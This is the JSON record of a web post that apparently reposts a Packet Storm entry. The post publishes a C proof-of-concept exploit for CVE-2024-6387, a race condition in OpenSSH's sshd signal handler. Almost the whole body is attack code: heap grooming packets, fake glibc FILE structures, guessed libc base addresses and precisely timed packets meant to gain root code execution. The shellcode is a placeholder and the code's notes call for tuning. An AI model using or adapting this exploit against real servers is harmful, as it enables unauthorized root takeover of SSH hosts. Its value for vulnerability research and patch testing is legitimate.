{"id":958,"date":"2025-04-23T06:01:31","date_gmt":"2025-04-23T06:01:31","guid":{"rendered":"http:\/\/localhost\/?p=958"},"modified":"2025-04-23T06:01:31","modified_gmt":"2025-04-23T06:01:31","slug":"openssh-98p1-race-condition","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=958","title":{"rendered":"OpenSSH 9.8p1 Race Condition"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">OpenSSH 9.8p1 Race Condition<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PACKETSTORM:190587<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">packetstorm<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">8.1<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-6387<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nProof&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n* Exploit Title : OpenSSH server (sshd) 9.8p1 &#8211; Race Condition <br \/>     * Author : Milad Karimi (Ex3ptionaL)<br \/>     * Date : 2025-04-16<br \/>     *<br \/>     * Description:<br \/>     * Targets a signal handler race condition in OpenSSH&#8217;s<br \/>     * server (sshd) on glibc-based Linux systems. It exploits a vulnerability<br \/>     * where the SIGALRM handler calls async-signal-unsafe functions, leading<br \/>     * to rce as root.<br \/>     *<br \/>     * Notes:<br \/>     * 1. Shellcode : Replace placeholder with actual payload.<br \/>     * 2. GLIBC_BASES : Needs adjustment for specific target systems.<br \/>     * 3. Timing parameters: Fine-tune based on target system responsiveness.<br \/>     * 4. Heap layout : Requires tweaking for different OpenSSH versions.<br \/>     * 5. File structure offsets: Verify for the specific glibc version.<br \/>     * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>     *\/<\/p>\n<p>    #include <stdlib.h><br \/>    #include <unistd.h><br \/>    #include <time.h><br \/>    #include <string.h><br \/>    #include <errno.h><br \/>    #include <fcntl.h><br \/>    #include <stdint.h><br \/>    #include <stdio.h><br \/>    #include <sys\/socket.h><br \/>    #include <netinet\/in.h><br \/>    #include <arpa\/inet.h><br \/>    #include <time.h><\/p>\n<p>    #define MAX_PACKET_SIZE (256 * 1024)<br \/>    #define LOGIN_GRACE_TIME 120<br \/>    #define MAX_STARTUPS 100<br \/>    #define CHUNK_ALIGN(s) (((s) + 15) &#038; ~15)<\/p>\n<p>    \/\/ Possible glibc base addresses (for ASLR bypass)<br \/>    uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };<br \/>    int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) \/ sizeof (GLIBC_BASES[0]);<\/p>\n<p>    \/\/ Shellcode placeholder (replace with actual shellcode)<br \/>    unsigned char shellcode[] = &#8220;\\x90\\x90\\x90\\x90&#8221;;<\/p>\n<p>    int setup_connection (const char *ip, int port);<br \/>    void send_packet (int sock, unsigned char packet_type,<br \/>                      const unsigned char *data, size_t len);<br \/>    void prepare_heap (int sock);<br \/>    void time_final_packet (int sock, double *parsing_time);<br \/>    int attempt_race_condition (int sock, double parsing_time,<br \/>                                uint64_t glibc_base);<br \/>    double measure_response_time (int sock, int error_type);<br \/>    void create_public_key_packet (unsigned char *packet, size_t size,<br \/>                                   uint64_t glibc_base);<br \/>    void create_fake_file_structure (unsigned char *data, size_t size,<br \/>                                     uint64_t glibc_base);<br \/>    void send_ssh_version (int sock);<br \/>    int receive_ssh_version (int sock);<br \/>    void send_kex_init (int sock);<br \/>    int receive_kex_init (int sock);<br \/>    int perform_ssh_handshake (int sock);<\/p>\n<p>    int<br \/>    main (int argc, char *argv[])<br \/>    {<br \/>      if (argc != 3)<br \/>        {<br \/>          fprintf (stderr, &#8220;Usage: %s <ip> <port>\\n&#8221;, argv[0]);<br \/>          exit (1);<br \/>        }<\/p>\n<p>      const char *ip = argv[1];<br \/>      int port = atoi (argv[2]);<br \/>      double parsing_time = 0;<br \/>      int success = 0;<\/p>\n<p>      srand (time (NULL));<\/p>\n<p>      \/\/ Attempt exploitation for each possible glibc base address<br \/>      for (int base_idx = 0; base_idx < NUM_GLIBC_BASES &#038;&#038; !success; base_idx++)<br \/>        {<br \/>          uint64_t glibc_base = GLIBC_BASES[base_idx];<br \/>          printf (&#8220;Attempting exploitation with glibc base: 0x%lx\\n&#8221;,<br \/>    glibc_base);<\/p>\n<p>          \/\/ The advisory mentions &#8220;~10,000 tries on average&#8221;<br \/>          for (int attempt = 0; attempt < 20000 &#038;&#038; !success; attempt++)<br \/>            {<br \/>              if (attempt % 1000 == 0)<br \/>                {<br \/>                  printf (&#8220;Attempt %d of 20000\\n&#8221;, attempt);<br \/>                }<\/p>\n<p>              int sock = setup_connection (ip, port);<br \/>              if (sock < 0)<br \/>                {<br \/>                  fprintf (stderr, &#8220;Failed to establish connection, attempt<br \/>    %d\\n&#8221;,<br \/>                           attempt);<br \/>                  continue;<br \/>                }<\/p>\n<p>              if (perform_ssh_handshake (sock) < 0)<br \/>                {<br \/>                  fprintf (stderr, &#8220;SSH handshake failed, attempt %d\\n&#8221;,<br \/>    attempt);<br \/>                  close (sock);<br \/>                  continue;<br \/>                }<\/p>\n<p>              prepare_heap (sock);<br \/>              time_final_packet (sock, &#038;parsing_time);<\/p>\n<p>              if (attempt_race_condition (sock, parsing_time, glibc_base))<br \/>                {<br \/>                  printf (&#8220;Possible exploitation success on attempt %d with<br \/>    glibc &#8220;<br \/>                          &#8220;base 0x%lx!\\n&#8221;,<br \/>                          attempt, glibc_base);<br \/>                  success = 1;<br \/>                  break;<br \/>                }<\/p>\n<p>              close (sock);<br \/>              usleep (100000); \/\/ 100ms delay between attempts, as mentioned in<br \/>    the<br \/>                               \/\/ advisory<br \/>            }<br \/>        }<\/p>\n<p>      return !success;<br \/>    }<\/p>\n<p>    int<br \/>    setup_connection (const char *ip, int port)<br \/>    {<br \/>      int sock = socket (AF_INET, SOCK_STREAM, 0);<br \/>      if (sock < 0)<br \/>        {<br \/>          perror (&#8220;socket&#8221;);<br \/>          return -1;<br \/>        }<\/p>\n<p>      struct sockaddr_in server_addr;<br \/>      memset (&#038;server_addr, 0, sizeof (server_addr));<br \/>      server_addr.sin_family = AF_INET;<br \/>      server_addr.sin_port = htons (port);<br \/>      if (inet_pton (AF_INET, ip, &#038;server_addr.sin_addr) <= 0)<br \/>        {<br \/>          perror (&#8220;inet_pton&#8221;);<br \/>          close (sock);<br \/>          return -1;<br \/>        }<\/p>\n<p>      if (connect (sock, (struct sockaddr *)&#038;server_addr, sizeof (server_addr))<br \/>          < 0)<br \/>        {<br \/>          perror (&#8220;connect&#8221;);<br \/>          close (sock);<br \/>          return -1;<br \/>        }<\/p>\n<p>      \/\/ Set socket to non-blocking mode<br \/>      int flags = fcntl (sock, F_GETFL, 0);<br \/>      fcntl (sock, F_SETFL, flags | O_NONBLOCK);<\/p>\n<p>      return sock;<br \/>    }<\/p>\n<p>    void<br \/>    send_packet (int sock, unsigned char packet_type, const unsigned char *data,<br \/>                 size_t len)<br \/>    {<br \/>      unsigned char packet[MAX_PACKET_SIZE];<br \/>      size_t packet_len = len + 5;<\/p>\n<p>      packet[0] = (packet_len >> 24) &#038; 0xFF;<br \/>      packet[1] = (packet_len >> 16) &#038; 0xFF;<br \/>      packet[2] = (packet_len >> 8) &#038; 0xFF;<br \/>      packet[3] = packet_len &#038; 0xFF;<br \/>      packet[4] = packet_type;<\/p>\n<p>      memcpy (packet + 5, data, len);<\/p>\n<p>      if (send (sock, packet, packet_len, 0) < 0)<br \/>        {<br \/>          perror (&#8220;send_packet&#8221;);<br \/>        }<br \/>    }<\/p>\n<p>    void<br \/>    send_ssh_version (int sock)<br \/>    {<br \/>      const char *ssh_version = &#8220;SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\\r\\n&#8221;;<br \/>      if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)<br \/>        {<br \/>          perror (&#8220;send ssh version&#8221;);<br \/>        }<br \/>    }<\/p>\n<p>    int<br \/>    receive_ssh_version (int sock)<br \/>    {<br \/>      char buffer[256];<br \/>      ssize_t received;<br \/>      do<br \/>        {<br \/>          received = recv (sock, buffer, sizeof (buffer) &#8211; 1, 0);<br \/>        }<br \/>      while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n      if (received > 0)<br \/>        {<br \/>          buffer[received] = &#8216;\\0&#8217;;<br \/>          printf (&#8220;Received SSH version: %s&#8221;, buffer);<br \/>          return 0;<br \/>        }<br \/>      else if (received == 0)<br \/>        {<br \/>          fprintf (stderr, &#8220;Connection closed while receiving SSH version\\n&#8221;);<br \/>        }<br \/>      else<br \/>        {<br \/>          perror (&#8220;receive ssh version&#8221;);<br \/>        }<br \/>      return -1;<br \/>    }<\/p>\n<p>    void<br \/>    send_kex_init (int sock)<br \/>    {<br \/>      unsigned char kexinit_payload[36] = { 0 };<br \/>      send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));<br \/>    }<\/p>\n<p>    int<br \/>    receive_kex_init (int sock)<br \/>    {<br \/>      unsigned char buffer[1024];<br \/>      ssize_t received;<br \/>      do<br \/>        {<br \/>          received = recv (sock, buffer, sizeof (buffer), 0);<br \/>        }<br \/>      while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n      if (received > 0)<br \/>        {<br \/>          printf (&#8220;Received KEX_INIT (%zd bytes)\\n&#8221;, received);<br \/>          return 0;<br \/>        }<br \/>      else if (received == 0)<br \/>        {<br \/>          fprintf (stderr, &#8220;Connection closed while receiving KEX_INIT\\n&#8221;);<br \/>        }<br \/>      else<br \/>        {<br \/>          perror (&#8220;receive kex init&#8221;);<br \/>        }<br \/>      return -1;<br \/>    }<\/p>\n<p>    int<br \/>    perform_ssh_handshake (int sock)<br \/>    {<br \/>      send_ssh_version (sock);<br \/>      if (receive_ssh_version (sock) < 0)<br \/>        return -1;<br \/>      send_kex_init (sock);<br \/>      if (receive_kex_init (sock) < 0)<br \/>        return -1;<br \/>      return 0;<br \/>    }<\/p>\n<p>    void<br \/>    prepare_heap (int sock)<br \/>    {<br \/>      \/\/ Packet a: Allocate and free tcache chunks<br \/>      for (int i = 0; i < 10; i++)<br \/>        {<br \/>          unsigned char tcache_chunk[64];<br \/>          memset (tcache_chunk, &#8216;A&#8217;, sizeof (tcache_chunk));<br \/>          send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));<br \/>          \/\/ These will be freed by the server, populating tcache<br \/>        }<\/p>\n<p>      \/\/ Packet b: Create 27 pairs of large (~8KB) and small (320B) holes<br \/>      for (int i = 0; i < 27; i++)<br \/>        {<br \/>          \/\/ Allocate large chunk (~8KB)<br \/>          unsigned char large_hole[8192];<br \/>          memset (large_hole, &#8216;B&#8217;, sizeof (large_hole));<br \/>          send_packet (sock, 5, large_hole, sizeof (large_hole));<\/p>\n<p>          \/\/ Allocate small chunk (320B)<br \/>          unsigned char small_hole[320];<br \/>          memset (small_hole, &#8216;C&#8217;, sizeof (small_hole));<br \/>          send_packet (sock, 5, small_hole, sizeof (small_hole));<br \/>        }<\/p>\n<p>      \/\/ Packet c: Write fake headers, footers, vtable and _codecvt pointers<br \/>      for (int i = 0; i < 27; i++)<br \/>        {<br \/>          unsigned char fake_data[4096];<br \/>          create_fake_file_structure (fake_data, sizeof (fake_data),<br \/>                                      GLIBC_BASES[0]);<br \/>          send_packet (sock, 5, fake_data, sizeof (fake_data));<br \/>        }<\/p>\n<p>      \/\/ Packet d: Ensure holes are in correct malloc bins (send ~256KB string)<br \/>      unsigned char large_string[MAX_PACKET_SIZE &#8211; 1];<br \/>      memset (large_string, &#8216;E&#8217;, sizeof (large_string));<br \/>      send_packet (sock, 5, large_string, sizeof (large_string));<br \/>    }<\/p>\n<p>    void<br \/>    create_fake_file_structure (unsigned char *data, size_t size,<br \/>                                uint64_t glibc_base)<br \/>    {<br \/>      memset (data, 0, size);<\/p>\n<p>      struct<br \/>      {<br \/>        void *_IO_read_ptr;<br \/>        void *_IO_read_end;<br \/>        void *_IO_read_base;<br \/>        void *_IO_write_base;<br \/>        void *_IO_write_ptr;<br \/>        void *_IO_write_end;<br \/>        void *_IO_buf_base;<br \/>        void *_IO_buf_end;<br \/>        void *_IO_save_base;<br \/>        void *_IO_backup_base;<br \/>        void *_IO_save_end;<br \/>        void *_markers;<br \/>        void *_chain;<br \/>        int _fileno;<br \/>        int _flags;<br \/>        int _mode;<br \/>        char _unused2[40];<br \/>        void *_vtable_offset;<br \/>      } *fake_file = (void *)data;<\/p>\n<p>      \/\/ Set _vtable_offset to 0x61 as described in the advisory<br \/>      fake_file->_vtable_offset = (void *)0x61;<\/p>\n<p>      \/\/ Set up fake vtable and _codecvt pointers<br \/>      *(uint64_t *)(data + size &#8211; 16)<br \/>          = glibc_base + 0x21b740; \/\/ fake vtable (_IO_wfile_jumps)<br \/>      *(uint64_t *)(data + size &#8211; 8) = glibc_base + 0x21d7f8; \/\/ fake _codecvt<br \/>    }<\/p>\n<p>    void<br \/>    time_final_packet (int sock, double *parsing_time)<br \/>    {<br \/>      double time_before = measure_response_time (sock, 1);<br \/>      double time_after = measure_response_time (sock, 2);<br \/>      *parsing_time = time_after &#8211; time_before;<\/p>\n<p>      printf (&#8220;Estimated parsing time: %.6f seconds\\n&#8221;, *parsing_time);<br \/>    }<\/p>\n<p>    double<br \/>    measure_response_time (int sock, int error_type)<br \/>    {<br \/>      unsigned char error_packet[1024];<br \/>      size_t packet_size;<\/p>\n<p>      if (error_type == 1)<br \/>        {<br \/>          \/\/ Error before sshkey_from_blob<br \/>          packet_size = snprintf ((char *)error_packet, sizeof (error_packet),<br \/>                                  &#8220;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3&#8221;);<br \/>        }<br \/>      else<br \/>        {<br \/>          \/\/ Error after sshkey_from_blob<br \/>          packet_size = snprintf ((char *)error_packet, sizeof (error_packet),<br \/>                                  &#8220;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9&#8221;);<br \/>        }<\/p>\n<p>      struct timespec start, end;<br \/>      clock_gettime (CLOCK_MONOTONIC, &#038;start);<\/p>\n<p>      send_packet (sock, 50, error_packet,<br \/>                   packet_size); \/\/ SSH_MSG_USERAUTH_REQUEST<\/p>\n<p>      char response[1024];<br \/>      ssize_t received;<br \/>      do<br \/>        {<br \/>          received = recv (sock, response, sizeof (response), 0);<br \/>        }<br \/>      while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n      clock_gettime (CLOCK_MONOTONIC, &#038;end);\n\n      double elapsed<br \/>          = (end.tv_sec &#8211; start.tv_sec) + (end.tv_nsec &#8211; start.tv_nsec) \/ 1e9;<br \/>      return elapsed;<br \/>    }<\/p>\n<p>    void<br \/>    create_public_key_packet (unsigned char *packet, size_t size,<br \/>                              uint64_t glibc_base)<br \/>    {<br \/>      memset (packet, 0, size);<\/p>\n<p>      size_t offset = 0;<br \/>      for (int i = 0; i < 27; i++)<br \/>        {<br \/>          \/\/ malloc(~4KB) &#8211; This is for the large hole<br \/>          *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);<br \/>          offset += CHUNK_ALIGN (4096);<\/p>\n<p>          \/\/ malloc(304) &#8211; This is for the small hole (potential FILE structure)<br \/>          *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);<br \/>          offset += CHUNK_ALIGN (304);<br \/>        }<\/p>\n<p>      \/\/ Add necessary headers for the SSH public key format<br \/>      memcpy (packet, &#8220;ssh-rsa &#8220;, 8);<\/p>\n<p>      \/\/ Place shellcode in the heap via previous allocations<br \/>      memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13,<br \/>    shellcode,<br \/>              sizeof (shellcode));<\/p>\n<p>      \/\/ Set up the fake FILE structures within the packet<br \/>      for (int i = 0; i < 27; i++)<br \/>        {<br \/>          create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)<br \/>                                          + CHUNK_ALIGN (304) * i,<br \/>                                      CHUNK_ALIGN (304), glibc_base);<br \/>        }<br \/>    }<\/p>\n<p>    int<br \/>    attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)<br \/>    {<br \/>      unsigned char final_packet[MAX_PACKET_SIZE];<br \/>      create_public_key_packet (final_packet, sizeof (final_packet),<br \/>    glibc_base);<\/p>\n<p>      \/\/ Send all but the last byte<br \/>      if (send (sock, final_packet, sizeof (final_packet) &#8211; 1, 0) < 0)<br \/>        {<br \/>          perror (&#8220;send final packet&#8221;);<br \/>          return 0;<br \/>        }<\/p>\n<p>      \/\/ Precise timing for last byte<br \/>      struct timespec start, current;<br \/>      clock_gettime (CLOCK_MONOTONIC, &#038;start);<\/p>\n<p>      while (1)<br \/>        {<br \/>          clock_gettime (CLOCK_MONOTONIC, &#038;current);<br \/>          double elapsed = (current.tv_sec &#8211; start.tv_sec)<br \/>                           + (current.tv_nsec &#8211; start.tv_nsec) \/ 1e9;<br \/>          if (elapsed >= (LOGIN_GRACE_TIME &#8211; parsing_time &#8211; 0.001))<br \/>            { \/\/ 1ms before SIGALRM<br \/>              if (send (sock, &#038;final_packet[sizeof (final_packet) &#8211; 1], 1, 0) <<br \/>    0)<br \/>                {<br \/>                  perror (&#8220;send last byte&#8221;);<br \/>                  return 0;<br \/>                }<br \/>              break;<br \/>            }<br \/>        }<\/p>\n<p>      \/\/ Check for successful exploitation<br \/>      char response[1024];<br \/>      ssize_t received = recv (sock, response, sizeof (response), 0);<br \/>      if (received > 0)<br \/>        {<br \/>          printf (&#8220;Received response after exploit attempt (%zd bytes)\\n&#8221;,<br \/>                  received);<br \/>          \/\/ Analyze response to determine if we hit the &#8220;large&#8221; race window<br \/>          if (memcmp (response, &#8220;SSH-2.0-&#8220;, 8) != 0)<br \/>            {<br \/>              printf (&#8220;Possible hit on &#8216;large&#8217; race window\\n&#8221;);<br \/>              return 1;<br \/>            }<br \/>        }<br \/>      else if (received == 0)<br \/>        {<br \/>          printf (<br \/>              &#8220;Connection closed by server &#8211; possible successful<br \/>    exploitation\\n&#8221;);<br \/>          return 1;<br \/>        }<br \/>      else if (errno == EWOULDBLOCK || errno == EAGAIN)<br \/>        {<br \/>          printf (&#8220;No immediate response from server &#8211; possible successful &#8220;<br \/>                  &#8220;exploitation\\n&#8221;);<br \/>          return 1;<br \/>        }<br \/>      else<br \/>        {<br \/>          perror (&#8220;recv&#8221;);<br \/>        }<br \/>      return 0;<br \/>    }<\/p>\n<p>    int<br \/>    perform_exploit (const char *ip, int port)<br \/>    {<br \/>      int success = 0;<br \/>      double parsing_time = 0;<br \/>      double timing_adjustment = 0;<\/p>\n<p>      for (int base_idx = 0; base_idx < NUM_GLIBC_BASES &#038;&#038; !success; base_idx++)<br \/>        {<br \/>          uint64_t glibc_base = GLIBC_BASES[base_idx];<br \/>          printf (&#8220;Attempting exploitation with glibc base: 0x%lx\\n&#8221;,<br \/>    glibc_base);<\/p>\n<p>          for (int attempt = 0; attempt < 10000 &#038;&#038; !success; attempt++)<br \/>            {<br \/>              if (attempt % 1000 == 0)<br \/>                {<br \/>                  printf (&#8220;Attempt %d of 10000\\n&#8221;, attempt);<br \/>                }<\/p>\n<p>              int sock = setup_connection (ip, port);<br \/>              if (sock < 0)<br \/>                {<br \/>                  fprintf (stderr, &#8220;Failed to establish connection, attempt<br \/>    %d\\n&#8221;,<br \/>                           attempt);<br \/>                  continue;<br \/>                }<\/p>\n<p>              if (perform_ssh_handshake (sock) < 0)<br \/>                {<br \/>                  fprintf (stderr, &#8220;SSH handshake failed, attempt %d\\n&#8221;,<br \/>    attempt);<br \/>                  close (sock);<br \/>                  continue;<br \/>                }<\/p>\n<p>              prepare_heap (sock);<br \/>              time_final_packet (sock, &#038;parsing_time);<\/p>\n<p>              \/\/ Implement feedback-based timing strategy<br \/>              parsing_time += timing_adjustment;<\/p>\n<p>              if (attempt_race_condition (sock, parsing_time, glibc_base))<br \/>                {<br \/>                  printf (&#8220;Possible exploitation success on attempt %d with<br \/>    glibc &#8220;<br \/>                          &#8220;base 0x%lx!\\n&#8221;,<br \/>                          attempt, glibc_base);<br \/>                  success = 1;<br \/>                  \/\/ In a real exploit, we would now attempt to interact with<br \/>    the<br \/>                  \/\/ shell<br \/>                }<br \/>              else<br \/>                {<br \/>                  \/\/ Adjust timing based on feedback<br \/>                  timing_adjustment += 0.00001; \/\/ Small incremental adjustment<br \/>                }<\/p>\n<p>              close (sock);<br \/>              usleep (100000); \/\/ 100ms delay between attempts, as mentioned in<br \/>    the<br \/>                               \/\/ advisory<br \/>            }<br \/>        }<\/p>\n<p>      return success;<br \/>    }\n<\/div>\n<p><a href=\"https:\/\/packetstorm.news\/files\/id\/190587\/\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title OpenSSH 9.8p1 Race Condition Exploit ID PACKETSTORM:190587 Type packetstorm Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS Score 8.1 Severity&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,52,12,15,13,53,7,11,5],"class_list":["post-958","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-81","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OpenSSH 9.8p1 Race Condition - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=958\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OpenSSH 9.8p1 Race Condition - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title OpenSSH 9.8p1 Race Condition Exploit ID PACKETSTORM:190587 Type packetstorm Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS Score 8.1 Severity...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=958\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T06:01:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"OpenSSH 9.8p1 Race Condition\",\"datePublished\":\"2025-04-23T06:01:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958\"},\"wordCount\":1734,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.1\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=958#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958\",\"name\":\"OpenSSH 9.8p1 Race Condition - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T06:01:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=958\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=958#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OpenSSH 9.8p1 Race Condition\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 